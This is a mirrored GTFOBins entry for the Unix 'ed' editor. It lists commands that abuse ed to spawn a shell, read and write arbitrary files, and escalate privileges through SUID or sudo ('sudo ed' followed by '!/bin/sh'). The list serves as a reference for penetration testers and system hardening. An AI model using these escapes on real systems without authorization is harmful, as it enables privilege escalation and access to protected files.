mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
34 lines
432 B
Markdown
34 lines
432 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
ed
|
|
!/bin/sh
|
|
file-write:
|
|
- code: |
|
|
ed file_to_write
|
|
a
|
|
DATA
|
|
.
|
|
w
|
|
q
|
|
file-read:
|
|
- code: |
|
|
ed file_to_read
|
|
,p
|
|
q
|
|
suid:
|
|
- code: |
|
|
./ed file_to_read
|
|
,p
|
|
q
|
|
sudo:
|
|
- code: |
|
|
sudo ed
|
|
!/bin/sh
|
|
limited-suid:
|
|
- code: |
|
|
./ed
|
|
!/bin/sh
|
|
---
|